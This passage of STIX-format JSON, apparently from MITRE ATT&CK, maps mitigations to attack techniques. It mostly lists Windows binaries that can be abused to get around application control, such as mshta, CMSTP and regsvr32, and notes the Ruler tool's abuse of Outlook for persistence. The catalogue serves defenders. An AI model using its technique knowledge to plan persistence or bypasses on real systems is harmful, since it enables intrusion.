            "created": "2020-01-19T16:59:45.700Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for user and privileged accounts.",
            "id": "relationship--7dfb4403-9368-4fed-aac0-a968e7761c4a",
            "type": "relationship",
            "modified": "2020-03-24T12:40:02.452Z",
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        },
        {
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            ],
            "source_ref": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "relationship_type": "subtechnique-of",
            "id": "relationship--7cb81e24-b3b8-4a56-b153-3247193de120",
            "type": "relationship",
            "modified": "2020-01-19T16:59:45.705Z",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "relationship_type": "subtechnique-of",
            "id": "relationship--718fad77-0006-461a-9a46-337defcf44ac",
            "type": "relationship",
            "modified": "2020-01-22T15:05:05.777Z",
            "created": "2020-01-22T15:05:05.777Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38",
            "target_ref": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
            "external_references": [
                {
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler",
                    "source_name": "SensePost Ruler GitHub"
                }
            ],
            "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Home Pages to establish persistence.(Citation: SensePost Ruler GitHub) ",
            "relationship_type": "uses",
            "id": "relationship--af415c7f-b7aa-4a9e-b1a8-ae09d67070de",
            "type": "relationship",
            "modified": "2020-01-22T15:11:52.098Z",
            "created": "2020-01-22T15:11:52.098Z"
        },
        {
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            ],
            "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38",
            "target_ref": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
            "external_references": [
                {
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler",
                    "source_name": "SensePost Ruler GitHub"
                }
            ],
            "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Rules to establish persistence.(Citation: SensePost Ruler GitHub) ",
            "relationship_type": "uses",
            "id": "relationship--066ac155-2cfd-4466-bb3a-765f3513cc8e",
            "type": "relationship",
            "modified": "2020-01-22T15:11:52.128Z",
            "created": "2020-01-22T15:11:52.128Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38",
            "target_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
            "external_references": [
                {
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler",
                    "source_name": "SensePost Ruler GitHub"
                }
            ],
            "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Forms to establish persistence.(Citation: SensePost Ruler GitHub)",
            "relationship_type": "uses",
            "id": "relationship--66620243-f978-4038-8bf3-d574b5ce5b90",
            "type": "relationship",
            "modified": "2020-01-22T15:11:52.138Z",
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        },
        {
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            ],
            "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "relationship_type": "mitigates",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.",
            "id": "relationship--9c7faf9b-c0ee-419f-b816-777edebd3a2a",
            "type": "relationship",
            "modified": "2021-01-20T18:12:11.952Z",
            "created": "2020-01-23T18:07:00.774Z"
        },
        {
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
            "relationship_type": "mitigates",
            "description": "Consider using application control configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--e7f93370-0bfc-417c-8811-627ab39fafca",
            "type": "relationship",
            "modified": "2020-06-20T22:34:03.422Z",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
            "relationship_type": "mitigates",
            "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).",
            "id": "relationship--fd38c0fc-72d8-4638-b6e7-1f6c5964ab5c",
            "type": "relationship",
            "modified": "2020-06-20T22:34:03.437Z",
            "created": "2020-01-23T18:30:11.132Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "relationship_type": "mitigates",
            "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files",
            "id": "relationship--51c6ea7a-8978-4bd5-9cc1-7d80bb16e70b",
            "type": "relationship",
            "modified": "2020-06-20T22:32:24.753Z",
            "created": "2020-01-23T18:56:39.109Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "relationship_type": "mitigates",
            "description": "Consider using application control to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--f4702ee6-c04f-4ccb-95f3-1b40cf6c69c8",
            "type": "relationship",
            "modified": "2020-06-20T22:32:24.757Z",
            "created": "2020-01-23T18:56:39.133Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "relationship_type": "mitigates",
            "description": "Use application control configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--21ce896b-e6b5-4075-8d97-6b59c269247c",
            "type": "relationship",
            "modified": "2020-06-20T22:34:46.656Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "relationship_type": "mitigates",
            "description": "InstallUtil may not be necessary within a given environment.",
            "id": "relationship--a6352ede-7afb-4be5-bba4-bd5c0a20bae6",
            "type": "relationship",
            "modified": "2020-06-20T22:34:46.678Z",
            "created": "2020-01-23T19:09:49.097Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "relationship_type": "mitigates",
            "description": "Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--1837a0e7-d8aa-4c96-8213-7d08ceb86390",
            "type": "relationship",
            "modified": "2020-12-30T14:29:06.637Z",
            "created": "2020-01-23T19:32:49.903Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "relationship_type": "mitigates",
            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.",
            "id": "relationship--98afbb05-d48e-4438-add6-df3ea9fb568c",
            "type": "relationship",
            "modified": "2020-12-30T14:29:06.648Z",
            "created": "2020-01-23T19:32:49.905Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
            "relationship_type": "mitigates",
            "description": "Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--2d712b2d-a9a6-4efd-b37e-1219768bdde7",
            "type": "relationship",
            "modified": "2020-06-20T22:36:37.501Z",
            "created": "2020-01-23T19:42:16.784Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
            "relationship_type": "mitigates",
            "description": "Regsvcs and Regasm may not be necessary within a given environment.",
            "id": "relationship--ce47df8d-02dc-4380-90f8-282e009ef0fe",
            "type": "relationship",
            "modified": "2020-06-20T22:36:37.504Z",
            "created": "2020-01-23T19:42:16.786Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "relationship_type": "mitigates",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass application control. (Citation: Secure Host Baseline EMET) Identify and block potentially malicious software executed through regsvr32 functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--b0da6a37-0a54-438f-abeb-7f1dcfebaa45",
            "external_references": [
                {
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "source_name": "Secure Host Baseline EMET"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-20T22:37:33.081Z",
            "created": "2020-01-23T19:52:17.661Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
            "relationship_type": "mitigates",
            "description": "Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\\Windows</code>, rather than user directories.",
            "id": "relationship--2db67ddf-b414-4dc7-87ab-0846a8bd1e8e",
            "type": "relationship",
            "modified": "2020-10-21T18:37:13.152Z",
            "created": "2020-01-23T19:59:52.898Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx",
                    "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.",
                    "source_name": "TechNet RDP NLA"
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            ],
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            "description": "If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.(Citation: TechNet RDP Gateway)",
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                    "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx",
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                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                {
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                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Beechey 2010"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
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            ],
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        {
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            "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
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            ],
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            "id": "relationship--d15d091e-a720-4fb5-acfc-0982e23fe185",
            "type": "relationship",
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        },
        {
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            ],
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            "relationship_type": "mitigates",
            "description": "Odbcconf.exe may not be necessary within a given environment.",
            "id": "relationship--5a72e713-c8fb-4438-9a08-0ded824381dd",
            "type": "relationship",
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            "relationship_type": "mitigates",
            "description": "Use application control configured to block execution of Odbcconf.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--8541e1a0-0cd5-44fc-bc88-c96b474bcaeb",
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            "id": "relationship--22c5d62b-40cd-4dce-9b6d-7836b67ee7f5",
            "type": "relationship",
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            "relationship_type": "mitigates",
            "description": "Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed.",
            "id": "relationship--ba660d12-81f6-49fe-baf2-fda6d5bda761",
            "type": "relationship",
            "modified": "2020-03-24T21:31:31.296Z",
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        },
        {
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            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
            "relationship_type": "mitigates",
            "description": "Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
            "id": "relationship--6b4cb169-cda8-49ef-a8db-188c599f50f1",
            "type": "relationship",
            "modified": "2020-03-24T21:31:31.297Z",
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        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
            "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
            "relationship_type": "subtechnique-of",
            "id": "relationship--1628074c-99e3-42b3-bea9-85c7fe6a6bb8",
            "type": "relationship",
            "modified": "2020-01-24T15:11:03.012Z",
            "created": "2020-01-24T15:11:03.012Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
            "relationship_type": "mitigates",
            "description": "Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.",
            "id": "relationship--40d44aff-2f5f-4494-aa06-4ea1390df453",
            "type": "relationship",
            "modified": "2020-03-24T21:31:31.289Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
            "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
            "relationship_type": "revoked-by",
            "id": "relationship--d3cbff81-245f-4025-a24a-f9ca5e006fb4",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
            "relationship_type": "mitigates",
            "description": "Consider disabling emond by removing the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) plist file.",
            "id": "relationship--b02a8c2b-3ead-4546-9e68-d1545c5fcdd7",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
            "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
            "relationship_type": "subtechnique-of",
            "id": "relationship--da407f63-38cf-4247-b0bc-967ce74a2d78",
            "type": "relationship",
            "modified": "2020-01-24T15:15:13.616Z",
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        },
        {
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            ],
            "source_ref": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753",
            "target_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
            "relationship_type": "revoked-by",
            "id": "relationship--8bcaac7c-46c8-459a-a55c-b1e218c62cfc",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
            "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
            "relationship_type": "revoked-by",
            "id": "relationship--da0d2c02-a213-4815-a653-1e9b0a1b2841",
            "type": "relationship",
            "modified": "2020-01-24T15:43:25.420Z",
            "created": "2020-01-24T15:43:25.420Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "relationship_type": "mitigates",
            "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)",
            "id": "relationship--328fdf30-3195-4d15-b99c-bf14cc236a90",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-25T15:24:26.667Z",
            "created": "2020-01-24T15:51:52.464Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "relationship_type": "mitigates",
            "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)",
            "id": "relationship--08f53e1a-7326-48ed-ac0e-2b0af2d93985",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-25T15:24:26.686Z",
            "created": "2020-01-24T15:51:52.476Z"
        },
        {
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            ],
            "source_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "relationship_type": "subtechnique-of",
            "id": "relationship--c535d995-bafd-47a3-9417-26e2e1080eb7",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
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            "id": "relationship--afb0685e-2c5c-4eec-9205-b1afdab4eda5",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "relationship_type": "mitigates",
            "description": "Identify and block potentially malicious software that may be executed through the Winlogon helper process by using application control (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "id": "relationship--796ea220-2948-461b-9948-4290eec8dbf6",
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                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-20T20:11:42.508Z",
            "created": "2020-01-24T17:00:00.069Z"
        },
        {
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            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "relationship_type": "mitigates",
            "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.",
            "id": "relationship--bfce35b9-7ae9-4194-83a7-5e5ff1481551",
            "type": "relationship",
            "modified": "2020-04-21T16:00:41.469Z",
            "created": "2020-01-24T17:00:00.072Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "relationship_type": "subtechnique-of",
            "id": "relationship--29284c62-45b2-4650-88ac-fea62ddcd829",
            "type": "relationship",
            "modified": "2020-01-24T17:00:00.074Z",
            "created": "2020-01-24T17:00:00.074Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "relationship_type": "revoked-by",
            "id": "relationship--bab689ff-c89e-452f-bca6-a01078ae406e",
            "type": "relationship",
            "modified": "2020-01-24T17:07:20.018Z",
            "created": "2020-01-24T17:07:20.018Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1",
            "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "relationship_type": "mitigates",
            "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "id": "relationship--43bcf0ae-d0ff-4653-93c7-0c03eee5e5c2",
            "external_references": [
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
